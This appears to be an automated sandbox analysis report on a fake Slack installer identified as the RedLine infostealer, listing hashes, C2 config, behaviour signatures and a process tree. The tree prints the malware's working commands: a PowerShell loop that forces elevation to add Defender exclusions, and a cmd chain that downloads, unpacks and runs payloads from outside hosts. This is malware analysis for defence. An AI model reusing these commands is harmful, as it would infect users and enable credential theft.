redline | 695f138dd517ded4dd6fcd57761902a5bcc9dd1da53482e94d70ceb720092ae6

Resubmissions

15/06/2023, 13:48

230615-q4kk4she6710

11/06/2023, 18:58

230611-xmzr2aad3z10

Analysis

max time kernel
301s
max time network
314s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
11/06/2023, 18:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SlackSetup.exe
Size 364KB
Sample230611-xmzr2aad3z
SHA256 b8f5519f7d66e7940e92f49c9f5f0cac0ae12cc9c9072c5308475bd5d093cdca
MD5 a371421bfe2b541c078fc43b008a4e27
SHA1 f74b4931c61a54ea12a10a5b6b48c8bb4dd4706b
SHA512 653c62cc43ec2cda143cdce4ee633f6482a780cb83b36dafc9625f3406756909f5d7250b2d6610b57858b3154e7b461fddded2bc20436865d3e59ca88d96b5e8
SSDEEP 6144:tpS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYqlGwrZPHifJWP7w:tp8KLBzQ7Lcf3SiQs2FTTql9unNrkvfy
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline 2 discovery infostealer infostealer_generic persistence spyware

Malware Config

Extracted

Family

redline

Botnet

missunno.com:80

Attributes

auth_value
a2810548b2740462ea1c66aa3bc71f08

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

Find unpacked information stealer based on possible SQL query to retrieve broswer data 1 IoCs

Detects infostealer.

infostealer_generic

resource	yara_rule
behavioral2/memory/1964-597-0x0000000000400000-0x0000000000440000-memory.dmp	infostealer_generic_browser_sql

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Software\Microsoft\Windows\CurrentVersion\Run	slack.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\com.squirrel.slack.slack = "\"C:\\Users\\Admin\\AppData\\Local\\slack\\slack.exe\" --process-start-args --startup"	slack.exe
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Software\Microsoft\Windows\CurrentVersion\Run	slack.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\com.squirrel.slack.slack = "\"C:\\Users\\Admin\\AppData\\Local\\slack\\slack.exe\" --process-start-args --startup"	slack.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	slack.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	3plugin_20230609
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	Current
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	SlackSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	Setups.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	slack.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	slack.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4520 set thread context of 1964	4520	2plugintbr	126
PID 3008 set thread context of 5064	3008	Current	139

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Executes dropped EXE 24 IoCs

pid	Process
3736	Setups.exe
5056	wget.exe
2996	Update.exe
4676	winrar.exe
3388	pluginrbtry
1764	wget.exe
1916	Squirrel.exe
2788	slack.exe
208	update.exe
3972	slack.exe
4600	slack.exe
3688	winrar.exe
3844	slack.exe
4520	2plugintbr
3628	slack.exe
2292	wget.exe
1356	slack.exe
3896	slack.exe
3740	slack.exe
2092	slack.exe
4832	slack.exe
1324	winrar.exe
4280	3plugin_20230609
3008	Current

Loads dropped DLL 30 IoCs

pid	Process
2788	slack.exe
2788	slack.exe
2788	slack.exe
3972	slack.exe
3972	slack.exe
3972	slack.exe
3972	slack.exe
3972	slack.exe
4600	slack.exe
3844	slack.exe
3844	slack.exe
3844	slack.exe
3844	slack.exe
3628	slack.exe
1356	slack.exe
3896	slack.exe
1356	slack.exe
1356	slack.exe
1356	slack.exe
1356	slack.exe
3844	slack.exe
3844	slack.exe
3740	slack.exe
2092	slack.exe
2092	slack.exe
2092	slack.exe
2092	slack.exe
2092	slack.exe
4832	slack.exe
4832	slack.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3032	3388	WerFault.exe	109

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	slack.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	slack.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	slack.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	slack.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	slack.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	slack.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	slack.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
4056	timeout.exe
3300	timeout.exe
404	timeout.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
4100	tasklist.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000_Classes\slack	slack.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000_Classes\slack\URL Protocol	slack.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000_Classes\slack\ = "URL:slack"	slack.exe
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000_Classes\slack\shell\open\command	slack.exe
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000_Classes\slack\shell	slack.exe
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000_Classes\slack\shell\open	slack.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000_Classes\slack\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\slack\\app-4.32.122\\slack.exe\" \"%1\""	slack.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD	SlackSetup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 040000000100000010000000c5dfb849ca051355ee2dba1ac33eb0280f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	SlackSetup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 5c000000010000000400000000080000190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab040000000100000010000000c5dfb849ca051355ee2dba1ac33eb0282000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	SlackSetup.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1984	powershell.exe
1984	powershell.exe
4600	slack.exe
4600	slack.exe
3896	slack.exe
3896	slack.exe
1964	InstallUtil.exe
1964	InstallUtil.exe
1964	InstallUtil.exe
3844	slack.exe
3844	slack.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe
5064	AddInUtil.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	4100	tasklist.exe
Token: SeShutdownPrivilege	2788	slack.exe
Token: SeCreatePagefilePrivilege	2788	slack.exe
Token: SeShutdownPrivilege	2788	slack.exe
Token: SeCreatePagefilePrivilege	2788	slack.exe
Token: SeDebugPrivilege	3388	pluginrbtry
Token: SeShutdownPrivilege	2788	slack.exe
Token: SeCreatePagefilePrivilege	2788	slack.exe
Token: SeDebugPrivilege	2996	Update.exe
Token: SeDebugPrivilege	4520	2plugintbr
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeDebugPrivilege	4280	3plugin_20230609
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeDebugPrivilege	1964	InstallUtil.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe
Token: SeCreatePagefilePrivilege	3844	slack.exe
Token: SeShutdownPrivilege	3844	slack.exe

Suspicious use of FindShellTrayWindow 21 IoCs

pid	Process
5056	wget.exe
4676	winrar.exe
4676	winrar.exe
4676	winrar.exe
4676	winrar.exe
4676	winrar.exe
2996	Update.exe
1764	wget.exe
3688	winrar.exe
3688	winrar.exe
3844	slack.exe
3844	slack.exe
3844	slack.exe
3844	slack.exe
3844	slack.exe
3844	slack.exe
2292	wget.exe
1324	winrar.exe
1324	winrar.exe
1324	winrar.exe
1324	winrar.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
3844	slack.exe
3844	slack.exe
3844	slack.exe
3844	slack.exe
3844	slack.exe
3844	slack.exe
3844	slack.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1280 wrote to memory of 2624	1280	SlackSetup.exe	83
PID 1280 wrote to memory of 2624	1280	SlackSetup.exe	83
PID 1280 wrote to memory of 2624	1280	SlackSetup.exe	83
PID 1280 wrote to memory of 1984	1280	SlackSetup.exe	85
PID 1280 wrote to memory of 1984	1280	SlackSetup.exe	85
PID 1280 wrote to memory of 1984	1280	SlackSetup.exe	85
PID 2624 wrote to memory of 3300	2624	cmd.exe	87
PID 2624 wrote to memory of 3300	2624	cmd.exe	87
PID 2624 wrote to memory of 3300	2624	cmd.exe	87
PID 1280 wrote to memory of 3736	1280	SlackSetup.exe	94
PID 1280 wrote to memory of 3736	1280	SlackSetup.exe	94
PID 1280 wrote to memory of 3736	1280	SlackSetup.exe	94
PID 1280 wrote to memory of 3736	1280	SlackSetup.exe	94
PID 1280 wrote to memory of 3736	1280	SlackSetup.exe	94
PID 3736 wrote to memory of 2168	3736	Setups.exe	95
PID 3736 wrote to memory of 2168	3736	Setups.exe	95
PID 3736 wrote to memory of 2168	3736	Setups.exe	95
PID 3736 wrote to memory of 1300	3736	Setups.exe	97
PID 3736 wrote to memory of 1300	3736	Setups.exe	97
PID 3736 wrote to memory of 1300	3736	Setups.exe	97
PID 2168 wrote to memory of 404	2168	cmd.exe	98
PID 2168 wrote to memory of 404	2168	cmd.exe	98
PID 2168 wrote to memory of 404	2168	cmd.exe	98
PID 3736 wrote to memory of 5056	3736	Setups.exe	101
PID 3736 wrote to memory of 5056	3736	Setups.exe	101
PID 3736 wrote to memory of 5056	3736	Setups.exe	101
PID 1300 wrote to memory of 1504	1300	cmd.exe	100
PID 1300 wrote to memory of 1504	1300	cmd.exe	100
PID 1300 wrote to memory of 1504	1300	cmd.exe	100
PID 1300 wrote to memory of 4056	1300	cmd.exe	103
PID 1300 wrote to memory of 4056	1300	cmd.exe	103
PID 1300 wrote to memory of 4056	1300	cmd.exe	103
PID 2624 wrote to memory of 4100	2624	cmd.exe	104
PID 2624 wrote to memory of 4100	2624	cmd.exe	104
PID 2624 wrote to memory of 4100	2624	cmd.exe	104
PID 1504 wrote to memory of 2996	1504	SlackSetup.exe	105
PID 1504 wrote to memory of 2996	1504	SlackSetup.exe	105
PID 1504 wrote to memory of 2996	1504	SlackSetup.exe	105
PID 2624 wrote to memory of 1640	2624	cmd.exe	106
PID 2624 wrote to memory of 1640	2624	cmd.exe	106
PID 2624 wrote to memory of 1640	2624	cmd.exe	106
PID 3736 wrote to memory of 4676	3736	Setups.exe	108
PID 3736 wrote to memory of 4676	3736	Setups.exe	108
PID 3736 wrote to memory of 4676	3736	Setups.exe	108
PID 3736 wrote to memory of 3388	3736	Setups.exe	109
PID 3736 wrote to memory of 3388	3736	Setups.exe	109
PID 3736 wrote to memory of 1764	3736	Setups.exe	110
PID 3736 wrote to memory of 1764	3736	Setups.exe	110
PID 3736 wrote to memory of 1764	3736	Setups.exe	110
PID 2996 wrote to memory of 1916	2996	Update.exe	112
PID 2996 wrote to memory of 1916	2996	Update.exe	112
PID 2996 wrote to memory of 1916	2996	Update.exe	112
PID 2996 wrote to memory of 2788	2996	Update.exe	113
PID 2996 wrote to memory of 2788	2996	Update.exe	113
PID 2788 wrote to memory of 208	2788	slack.exe	114
PID 2788 wrote to memory of 208	2788	slack.exe	114
PID 2788 wrote to memory of 208	2788	slack.exe	114
PID 2788 wrote to memory of 3972	2788	slack.exe	115
PID 2788 wrote to memory of 3972	2788	slack.exe	115
PID 2788 wrote to memory of 3972	2788	slack.exe	115
PID 2788 wrote to memory of 3972	2788	slack.exe	115
PID 2788 wrote to memory of 3972	2788	slack.exe	115
PID 2788 wrote to memory of 3972	2788	slack.exe	115
PID 2788 wrote to memory of 3972	2788	slack.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\SlackSetup.exe
"C:\Users\Admin\AppData\Local\Temp\SlackSetup.exe"
1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1280
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /K >nul timeout /t 20 /nobreak & tasklist /FI "IMAGENAME eq Setups.exe" | find /i "Setups.exe" > nul & if not errorlevel 1 (echo Setups.exe is already running.) else (start "" "C:\Users\Admin\AppData\Roaming\newplugin\Setups.exe" & echo Setups.exe has been started.) & EXIT
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2624
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 20 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3300
- - C:\Windows\SysWOW64\tasklist.exe
    tasklist /FI "IMAGENAME eq Setups.exe"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4100
- - C:\Windows\SysWOW64\find.exe
    find /i "Setups.exe"
    3⤵
    PID:1640
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # Elevate privileges if (-not (IsAdministrator)) { $proc = New-Object System.Diagnostics.Process $proc.StartInfo.WindowStyle = 'Hidden' $proc.StartInfo.FileName = [System.Diagnostics.Process]::GetCurrentProcess().MainModule.FileName $exclusionPaths = '${env:ProgramData}','${env:AppData}' $proc.StartInfo.Arguments = '-Command "Add-MpPreference -ExclusionPath ""' + ($exclusionPaths -join ',') + '"""' $proc.StartInfo.UseShellExecute = $true $proc.StartInfo.Verb = 'runas' $proc.StartInfo.CreateNoWindow = $true try { $proc.Start() | Out-Null $proc.WaitForExit() | Out-Null [Environment]::Exit(1) } catch [System.ComponentModel.Win32Exception] { if ($AdminRightsRequired) { continue } else { break } } } else { break } } } function IsAdministrator { $identity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object System.Security.Principal.WindowsPrincipal($identity) return $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator) } Get-Win"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1984
- C:\Users\Admin\AppData\Roaming\newplugin\Setups.exe
  "C:\Users\Admin\AppData\Roaming\newplugin\Setups.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /K >nul timeout /t 309 /nobreak & start /wait /min C:\Users\Admin\AppData\Roaming\newplugin\wget.exe -q --no-check-certificate --content-disposition "https://www.cmd22.pw/22" -P C:\Users\Admin\AppData\Roaming\newplugin\new\ & >nul timeout /t 18 /nobreak & start /wait /min C:\Users\Admin\AppData\Roaming\newplugin\7z.exe x -y C:\Users\Admin\AppData\Roaming\newplugin\new\02plugins*.* -pjryj2023 -oC:\Users\Admin\AppData\Roaming\newplugin\new\ & >nul timeout /t 11 /nobreak & for %i in ("C:\Users\Admin\AppData\Roaming\newplugin\new\2plugin*") do start "" "%~i" & start /wait /min C:\Users\Admin\AppData\Roaming\newplugin\wget.exe -q --no-check-certificate --content-disposition "https://www.cmd2.pw/2" -P C:\Users\Admin\AppData\Roaming\newplugin\new\ & >nul timeout /t 12 /nobreak & start /wait /min C:\Users\Admin\AppData\Roaming\newplugin\7z.exe x -y C:\Users\Admin\AppData\Roaming\newplugin\new\03plugins*.* -pjryj2023 -oC:\Users\Admin\AppData\Roaming\newplugin\new\ & >nul timeout /t 15 /nobreak & for %i in ("C:\Users\Admin\AppData\Roaming\newplugin\new\3plugin*") do start "" "%~i" & >nul timeout /t 66 /nobreak & rd /s /q "C:\Users\Admin\AppData\Roaming\newplugin" & EXIT
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2168
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 309 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:404
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /K start .\data\appInfo\SlackSetup.exe & >nul timeout /t 90 /nobreak & start .\data\appInfo\setup.exe & EXIT
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1300
  - - C:\Users\Admin\AppData\Local\Temp\data\appInfo\SlackSetup.exe
      .\data\appInfo\SlackSetup.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1504
    - - C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
        
        "C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe" --install .
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:2996
      - C:\Users\Admin\AppData\Local\slack\app-4.32.122\Squirrel.exe
        
        "C:\Users\Admin\AppData\Local\slack\app-4.32.122\Squirrel.exe" --updateSelf=C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
        6⤵
        Executes dropped EXE
        
        PID:1916
      - C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
        
        "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --squirrel-install 4.32.122
        6⤵
        Adds Run key to start application
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2788
        
        C:\Users\Admin\AppData\Local\slack\update.exe
        
        C:\Users\Admin\AppData\Local\slack\update.exe --createShortcut slack.exe -l Desktop,StartMenu
        7⤵
        Executes dropped EXE
        
        PID:208
        
        C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
        
